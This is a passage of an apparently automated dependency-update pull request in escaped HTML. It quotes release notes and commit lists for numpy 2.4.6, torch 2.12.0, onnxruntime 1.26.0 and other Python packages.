href=\"https://github.com/grpc/grpc/commit/03a2dc77794e217de292a66e4afb0e279afc8b72\"\u003e\u003ccode\u003e03a2dc7\u003c/code\u003e\u003c/a\u003e [Cleanup] Reduce log noise in latent see.\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/grpc/grpc/compare/v1.80.0...v1.81.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `numpy` from 2.4.4 to 2.4.6\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/numpy/numpy/releases\"\u003enumpy's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.4.6 (May 18, 2026)\u003c/h2\u003e\n\u003ch1\u003eNumPy 2.4.6 Release Notes\u003c/h1\u003e\n\u003cp\u003eNumPy 2.4.6 is a quick release that fixes a regression discovered in the 2.4.5\nrelease.\u003c/p\u003e\n\u003cp\u003eThis release supports Python versions 3.11-3.14\u003c/p\u003e\n\u003ch2\u003eContributors\u003c/h2\u003e\n\u003cp\u003eA total of 4 people contributed to this release. People with a \u0026quot;+\u0026quot; by their\nnames contributed a patch for the first time.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e!EarlMilktea\u003c/li\u003e\n\u003cli\u003eCharles Harris\u003c/li\u003e\n\u003cli\u003eSebastian Berg\u003c/li\u003e\n\u003cli\u003eWarren Weckesser\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ePull requests merged\u003c/h2\u003e\n\u003cp\u003eA total of 4 pull requests were merged for this release.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/numpy/numpy/pull/31444\"\u003e#31444\u003c/a\u003e: MAINT: Prepare 2.4.x for further development\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/numpy/numpy/pull/31453\"\u003e#31453\u003c/a\u003e: BUG: Fix regression in \u003ccode\u003earr.conj()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/numpy/numpy/pull/31459\"\u003e#31459\u003c/a\u003e: BUG: \u003ccode\u003enp.linalg.svd(..., hermitian=True)\u003c/code\u003e returns non-unitary...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/numpy/numpy/pull/31460\"\u003e#31460\u003c/a\u003e: BUG: Don't call INCREF/DECREF on descr in NpyStringAcquireAllocator...\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev2.4.5 (May 15, 2026)\u003c/h2\u003e\n\u003ch1\u003eNumPy 2.4.5 Release Notes\u003c/h1\u003e\n\u003cp\u003eNumPy 2.4.5 is a patch release that fixes bugs discovered after the 2.4.4\nrelease, has some typing improvements, and maintains infrastructure.\u003c/p\u003e\n\u003cp\u003eThis release supports Python versions 3.11-3.14\u003c/p\u003e\n\u003ch2\u003eContributors\u003c/h2\u003e\n\u003cp\u003eA total of 17 people contributed to this release. People with a \u0026quot;+\u0026quot; by their\nnames contributed a patch for the first time.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAleksei Nikiforov\u003c/li\u003e\n\u003cli\u003eAnarion Zuo +\u003c/li\u003e\n\u003cli\u003eAnkit Ahlawat\u003c/li\u003e\n\u003cli\u003eBreno Favaretto +\u003c/li\u003e\n\u003cli\u003eCharles Harris\u003c/li\u003e\n\u003cli\u003eIgor Krivenko +\u003c/li\u003e\n\u003cli\u003eIjtihed Kilani +\u003c/li\u003e\n\u003cli\u003eJoren Hammudoglu\u003c/li\u003e\n\u003cli\u003eMaarten Baert +\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/b832a09cf2a169c833dd2371e7c07aa00b293242\"\u003e\u003ccode\u003eb832a09\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/numpy/numpy/issues/31462\"\u003e#31462\u003c/a\u003e from charris/prepare-2.4.6\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/57cc147d2ceacffc6534642bfbdebb3a80428e1e\"\u003e\u003ccode\u003e57cc147\u003c/code\u003e\u003c/a\u003e REL: Prepare for the NumPy 2.4.6 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/0c72b0b53b6b83c004e434b2c7855e73c000d21e\"\u003e\u003ccode\u003e0c72b0b\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/numpy/numpy/issues/31459\"\u003e#31459\u003c/a\u003e from charris/backport-31347\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/9778d26e0475d381ccb7817c3b4dd8cacef2b9eb\"\u003e\u003ccode\u003e9778d26\u003c/code\u003e\u003c/a\u003e BUG: core: Don't call INCREF/DECREF on descr in NpyStringAcquireAllocator. (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/e0e38767d5d0f848ab44befeedcad71e8ef589c7\"\u003e\u003ccode\u003ee0e3876\u003c/code\u003e\u003c/a\u003e BUG: core: Don't call INCREF/DECREF on descr in NpyStringAcquireAllocator. (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/d1bffeb9ec4ec0bf029c94ea35abffa92d5c30f2\"\u003e\u003ccode\u003ed1bffeb\u003c/code\u003e\u003c/a\u003e BUG: \u003ccode\u003enp.linalg.svd(..., hermitian=True)\u003c/code\u003e returns non-unitary \u003ccode\u003evh\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/numpy/numpy/issues/31347\"\u003e#31347\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/8d8d7e5a14a1da0bfb0faf609a7a7610c431e6e9\"\u003e\u003ccode\u003e8d8d7e5\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/numpy/numpy/issues/31453\"\u003e#31453\u003c/a\u003e from seberg/issue-31452\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/bddaab7ace45f90148d8f2bb6e67daab2d45ec76\"\u003e\u003ccode\u003ebddaab7\u003c/code\u003e\u003c/a\u003e BUG: Fix regression in \u003ccode\u003earr.conj()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/37a1ecca8dff09b2c579a991194ac55b9971f3a7\"\u003e\u003ccode\u003e37a1ecc\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/numpy/numpy/issues/31444\"\u003e#31444\u003c/a\u003e from charris/begin-2.4.6\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/numpy/numpy/commit/3c0e043217a759a8a948ade158fec14348c3b459\"\u003e\u003ccode\u003e3c0e043\u003c/code\u003e\u003c/a\u003e MAINT: Prepare 2.4.x for further development\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/numpy/numpy/compare/v2.4.4...v2.4.6\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `torch` from 2.11.0 to 2.12.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pytorch/pytorch/releases\"\u003etorch's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003ePyTorch 2.12.0 Release Notes\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#highlights\"\u003eHighlights\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#backwards-incompatible-changes\"\u003eBackwards Incompatible Changes\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#deprecations\"\u003eDeprecations\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#new-features\"\u003eNew Features\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#improvements\"\u003eImprovements\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#bug-fixes\"\u003eBug fixes\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#performance\"\u003ePerformance\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#documentation\"\u003eDocumentation\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#developers\"\u003eDevelopers\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/blob/HEAD/#security\"\u003eSecurity\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003eHighlights\u003c/h1\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cp\u003eFor more details about these highlighted features, you can look at the release blogpost. Below are the full release notes for this release.\u003c/p\u003e\n\u003ch1\u003eBackwards Incompatible Changes\u003c/h1\u003e\n\u003ch2\u003eBuild Frontend\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eStrengthened SVE compile checks in \u003ccode\u003eFindARM.cmake\u003c/code\u003e, which may reject previously accepted but incorrect SVE configurations (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/pull/176646\"\u003e#176646\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eSource builds that enable SVE now validate the compiler configuration more strictly. If a build previously passed with an incomplete or mismatched SVE setup, it may now fail during CMake configuration instead of later in compilation. Update the compiler/toolchain flags so they accurately describe the target SVE support, or disable SVE for that build.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated the minimum CUDA version required to build PyTorch from source to CUDA 12.6 (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/pull/178925\"\u003e#178925\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eBuilding PyTorch from source with CUDA versions older than 12.6 is no longer supported. Users building custom binaries should install CUDA 12.6 or newer and make sure \u003ccode\u003eCUDA_HOME\u003c/code\u003e points to that installation.\u003c/p\u003e\n\u003cp\u003eVersion 2.11:\u003c/p\u003e\n\u003cpre lang=\"bash\"\u003e\u003ccode\u003eCUDA_HOME=/usr/local/cuda-12.4 python setup.py develop\r\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eVersion 2.12:\u003c/p\u003e\n\u003cpre lang=\"bash\"\u003e\u003ccode\u003eCUDA_HOME=/usr/local/cuda-12.6 python setup.py develop\r\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eEnforced a C++20 minimum in CMake build files (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/pull/178662\"\u003e#178662\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/0d62256a2b23365f8e1604297eb23a6545102aa8\"\u003e\u003ccode\u003e0d62256\u003c/code\u003e\u003c/a\u003e [release] Dockerfile: skip torchaudio install when CUDA_PATH=cu132 (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/183346\"\u003e#183346\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/7661cd9c6b841b62b7f411aa52ec51f05457263b\"\u003e\u003ccode\u003e7661cd9\u003c/code\u003e\u003c/a\u003e [MPS] Fix SDPA wrong output for permuted q/k/v with B \u0026gt; 1 (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/181886\"\u003e#181886\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/9da6087ab64ab6a2118686420ca5353c90dd7e1f\"\u003e\u003ccode\u003e9da6087\u003c/code\u003e\u003c/a\u003e Fix stale PYTORCH_RELEASES_CODE_CC dict (fixes \u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/182250\"\u003e#182250\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/182369\"\u003e#182369\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/e4c37cc011d47246ce8ea4b99c9b28fb7f400224\"\u003e\u003ccode\u003ee4c37cc\u003c/code\u003e\u003c/a\u003e Avoid raw stream name collisions in Inductor (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/182178\"\u003e#182178\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/822d047dc8dd8d919f83c3ad5c786e405075d1f0\"\u003e\u003ccode\u003e822d047\u003c/code\u003e\u003c/a\u003e [MPS] Fix bool mask handling in 1-pass SDPA decode kernel (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/182285\"\u003e#182285\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/182311\"\u003e#182311\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/5c5e523cd520e6986006e45be243b3ee927ea546\"\u003e\u003ccode\u003e5c5e523\u003c/code\u003e\u003c/a\u003e Add enable_gqa parameter to SDPA MPS meta registration (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/181550\"\u003e#181550\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/eece52ead16886e5463c3dcee9b04db783cc68d5\"\u003e\u003ccode\u003eeece52e\u003c/code\u003e\u003c/a\u003e [AOTI] Add BC-safe c_shim v2 for _scaled_dot_product_attention_math_for_mps e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/b39330bbe210b9628207e84d8ba2cabb7975fbac\"\u003e\u003ccode\u003eb39330b\u003c/code\u003e\u003c/a\u003e [Inductor] Call latest c_shim version for versioned fallback ops (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/181548\"\u003e#181548\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/06f10d088229a25ac52bd14b6cacc04a4161f6ca\"\u003e\u003ccode\u003e06f10d0\u003c/code\u003e\u003c/a\u003e Revert \u0026quot;[FSDP2] add fqn to communication ops\u0026quot; (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/182100\"\u003e#182100\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/pytorch/pytorch/issues/182157\"\u003e#182157\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytorch/pytorch/commit/449e3393139a1aca9afec120c9a63f98f12d55b0\"\u003e\u003ccode\u003e449e339\u003c/code\u003e\u003c/a\u003e Revert \u0026quot;[Inductor] Improve materialization heuristic for a chain of computaio...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pytorch/pytorch/compare/v2.11.0...v2.12.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `onnxruntime` from 1.25.1 to 1.26.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/microsoft/onnxruntime/releases\"\u003eonnxruntime's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.26.0\u003c/h2\u003e\n\u003cp\u003en.b. The following was generated via LLM from Git history. Only the contributor list has been verified.\u003c/p\u003e\n\u003ch1\u003eONNX Runtime Release 1.26.0\u003c/h1\u003e\n\u003ch2\u003eAnnouncement - Breaking Changes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eSupport for CUDA 12 will be removed in 1.27.0.\u003c/strong\u003e\n\u003cul\u003e\n\u003cli\u003eCUDA 13 will continue to be published as \u003ccode\u003eonnxruntime-\u0026lt;os\u0026gt;-\u0026lt;arch\u0026gt;-gpu_cuda13-\u0026lt;version\u0026gt;.\u0026lt;ext\u0026gt;\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eCUDA runtime will be moving soon to a dedicated Execution Provider (EP) instead of a published package from ORT core.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eHighlights\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded optional memory mapping for \u003ccode\u003e.ort\u003c/code\u003e model loads (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28164\"\u003e#28164\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded RISC-V Vector (RVV) support for CPU EP (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28261\"\u003e#28261\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eOpenVINO EP upgraded for 1.26.0 development release (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28297\"\u003e#28297\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eWebGPU gained GridSample support (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28264\"\u003e#28264\u003c/a\u003e) and Split-K improvements (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28151\"\u003e#28151\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eCUDA plugin EP gained graph support (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28002\"\u003e#28002\u003c/a\u003e), profiling API (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28216\"\u003e#28216\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eSecurity and Reliability Hardening\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eReplaced unrestricted Python \u003ccode\u003esetattr\u003c/code\u003e configuration with an allowlist (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28083\"\u003e#28083\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eHardened multiple OOB and overflow scenarios across ML and core ops:\n\u003cul\u003e\n\u003cli\u003eAttention mask index OOB write (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27789\"\u003e#27789\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eMaxPoolGrad indices bounds validation (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27903\"\u003e#27903\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eSVM and TreeEnsemble bounds/security fixes (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27950\"\u003e#27950\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27951\"\u003e#27951\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27952\"\u003e#27952\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27989\"\u003e#27989\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eRNN sequence_lens OOB read and integer overflow handling (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28052\"\u003e#28052\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28003\"\u003e#28003\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eGroupQueryAttention seqlens_k bounds validation and compatibility follow-up (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28031\"\u003e#28031\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28259\"\u003e#28259\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eMatMulBnb4 and ML coefficient SafeInt checks (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27995\"\u003e#27995\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28001\"\u003e#28001\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eCUDA Gather int32 overflow fix (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28108\"\u003e#28108\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eGridSample float-\u0026gt;int64 cast hardening for NaN/Inf/out-of-range coords (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28302\"\u003e#28302\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eFixed session logger use-after-free during EP teardown under verbose logging (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28274\"\u003e#28274\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eCUDA, Attention, and MLAS\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFilled CUDA opset/operator gaps and extended support:\n\u003cul\u003e\n\u003cli\u003eTranspose opset 23 -\u0026gt; 25 (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27740\"\u003e#27740\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eQuantizeLinear/DequantizeLinear opset 25 (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28046\"\u003e#28046\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eCUDA TopK INT8/INT16/UINT8 support (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27862\"\u003e#27862\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eLabelEncoder CUDA support for numeric types (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28045\"\u003e#28045\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eAttention/GQA improvements:\n\u003cul\u003e\n\u003cli\u003eFixed ONNX Attention min-bias alignment crash on SM\u0026lt;80 and masked-batch NaN behavior (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27831\"\u003e#27831\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded FP32 QK accumulation path for unfused GQA attention (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28198\"\u003e#28198\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded CUDART_VERSION reduction compatibility in GQA attention (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28296\"\u003e#28296\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed CUDA 13 build error in GQA unfused attention (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28309\"\u003e#28309\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003ePagedAttention fallback for SM\u0026lt;80 fp16 (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28200\"\u003e#28200\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eMLAS updates:\n\u003cul\u003e\n\u003cli\u003eFP16 Gelu enablement (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/26815\"\u003e#26815\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eArm64 BF16 fast-math conv kernels for NCHW/NCHWc paths (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27878\"\u003e#27878\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/8c546c37b43caaca1fa25db430dab94b901cf277\"\u003e\u003ccode\u003e8c546c3\u003c/code\u003e\u003c/a\u003e 1.26.0 - cherry-pick for RC2 (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/28347\"\u003e#28347\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/55c5c822a02e6237a667c13cd5ed008cd55bb459\"\u003e\u003ccode\u003e55c5c82\u003c/code\u003e\u003c/a\u003e GridSample: harden float-\u0026gt;int64 casts against NaN/Inf/out-of-range coords (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/2\"\u003e#2\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/60ce9ccd65ebb1794110c4dddf2e110cf223e9f9\"\u003e\u003ccode\u003e60ce9cc\u003c/code\u003e\u003c/a\u003e Relax GQA seqlens_k shape validation for backward compat with older models (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/d02a0fd536d7cf6b88bfd268932d2933a1c3305c\"\u003e\u003ccode\u003ed02a0fd\u003c/code\u003e\u003c/a\u003e Fix DoubleQDQPairsRemover adding spurious dimension to scalar scale/zero-poin...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/9b30f306e40683df362249b7c139177cc83e352f\"\u003e\u003ccode\u003e9b30f30\u003c/code\u003e\u003c/a\u003e remove weights_are_all_positive_  from TreeEnsemble (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/27552\"\u003e#27552\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/5f2f848a6874d390c94502b3bb424447b119b975\"\u003e\u003ccode\u003e5f2f848\u003c/code\u003e\u003c/a\u003e fix(ci): incorrect relative template includes for setup-feeds (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/28312\"\u003e#28312\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/de2bc90ce09d8bab419e07e1db741f445a27f721\"\u003e\u003ccode\u003ede2bc90\u003c/code\u003e\u003c/a\u003e Add QNN Plugin EP repo link to README (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/28225\"\u003e#28225\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/8dd4a06811179a7c04aea0a97c65f45a3dc8c6af\"\u003e\u003ccode\u003e8dd4a06\u003c/code\u003e\u003c/a\u003e Include license file in built distributions (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/27783\"\u003e#27783\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/6e19374beb24cc2fa0e8262c6d51404af87aefc0\"\u003e\u003ccode\u003e6e19374\u003c/code\u003e\u003c/a\u003e Fix CUDA 13 build error in gqa_unfused_attention.cu (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/28309\"\u003e#28309\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/d6c363c0d192bf2205155a18f01a62efa6b34da1\"\u003e\u003ccode\u003ed6c363c\u003c/code\u003e\u003c/a\u003e [OVEP] OpenVINO EP 1.26.0 Development Release Updates (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/28297\"\u003e#28297\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/microsoft/onnxruntime/compare/v1.25.1...v1.26.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `llama-cpp-python` from 0.3.21 to 0.3.28\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/abetlen/llama-cpp-python/blob/main/CHANGELOG.md\"\u003ellama-cpp-python's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[0.3.28]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat(example): align server MTP support with llama.cpp by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca 